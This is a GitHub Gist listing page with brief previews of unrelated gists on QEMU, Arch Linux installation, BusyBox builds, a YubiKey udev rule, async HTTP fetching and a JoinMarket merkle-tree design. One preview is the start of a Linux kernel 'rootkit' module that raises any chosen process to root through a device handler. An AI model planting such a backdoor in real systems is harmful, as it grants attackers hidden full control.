Skip to content

Instantly share code, notes, and snippets.

@thalamus
thalamus / ArchLinuxARM-M1
Last active March 11, 2024 16:55
How to boot Arch Linux ARM in QEMU (patched for M1)
/*
* This document is provided to the public domain under the
* terms of the Creative Commons CC0 public domain license
*/
How to boot Arch Linux ARM in QEMU (patched for M1)
Prerequisites:
QEMU - patched for M1 processors - patches: https://github.com/utmapp/qemu
  1. apt install bbswitch
  2. /etc/modprobe.d/bbswitch.conf
        options bbswitch load_state=0 unload_state=1
    To run bbswitch without bumblebeed on system startup, do not forget to add bbswitch to /etc/modules-load.d.
    nano /etc/modules-load.d
        bbswitch
@vkobel
vkobel / kernel_rootkit.c
Last active October 22, 2022 16:54
Simple "rootkit" kernel module (tested with Linux 5.6.3) that adds a device handler taking a PID and upgrade it to root (example in the comments below)
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
#include <linux/fs.h>
MODULE_LICENSE("GPL");
struct task_struct *get_task_struct_by_pid(unsigned pid)
{
struct pid *proc_pid = find_vpid(pid);
@vkobel
vkobel / 21-yubikey.rules
Last active July 25, 2019 14:38
YubiKey lock screen when unplugged
## /etc/udev/rules.d/21-yubikey.rules
ACTION=="remove", SUBSYSTEM=="input", ATTRS{idVendor}=="1050", ATTRS{idProduct}=="0407", RUN+="/usr/local/bin/lockscreen.sh"
@chrisdone
chrisdone / .gitignore
Last active January 25, 2024 16:07
Linux + BusyBox + QEMU/VirtualBox/USB boot recipe
output/
@extremecoders-re
extremecoders-re / qemu-networking.md
Last active March 31, 2024 17:19
Setting up Qemu with a tap interface

Setting up Qemu with a tap interface

There are two parts to networking within QEMU:

  • The virtual network device that is provided to the guest (e.g. a PCI network card).
  • The network backend that interacts with the emulated NIC (e.g. puts packets onto the host's network).

Example: User mode network

@chrisdone
chrisdone / gist:02e165a0004be33734ac2334f215380e
Last active April 21, 2024 12:50
Build and run minimal Linux / Busybox systems in Qemu

Common

export OPT=/opt
export BUILDS=/some/where/mini_linux
mkdir -p $BUILDS

Linux kernel

@vkobel
vkobel / async_http_get.py
Last active May 5, 2017 07:58
Async http get using aiohttp
import aiohttp
import asyncio
def async_http_get(urls, extractor=None, json_response=True):
tasks = []
sem = asyncio.Semaphore(32)
async def fetch(session, url):
async with session.get(url) as response:
if json_response:
@chris-belcher
chris-belcher / sorted-merkle-tree-issue693.md
Last active January 25, 2024 00:41
Sorted merkle tree as solution to issue #693

The Problem

JoinMarket has a problem where it assumes different nicknames have different bitcoin wallets. This can be exploited by people running multiple yield generator bots from the same wallet, so they get a higher rate of profit at the expense of de-legitimizing the system for privacy.

Crypto primitive 1: Merkle Tree

A merkle tree is a way of producing a commitment to a set, which can later can prove that elements are contained within the set using only O(logN) data, and only revealing one other element in the set.

For example here is a merkle tree commiting to a set of numbers {6, 3, 9, 0, 8, 4, 7, 2}

@heppu
heppu / ARCH_INSTALL.MD
Last active February 27, 2022 17:01
Installing Arch with GPT, dm-crypt, LUKS, LVM and systemd-boot

Create bootable USB

dd bs=4M if=/path/to/archlinux.iso of=/dev/sdx status=progress oflag=sync

Boot from USB and set prepare system

loadkeys <your-keymap>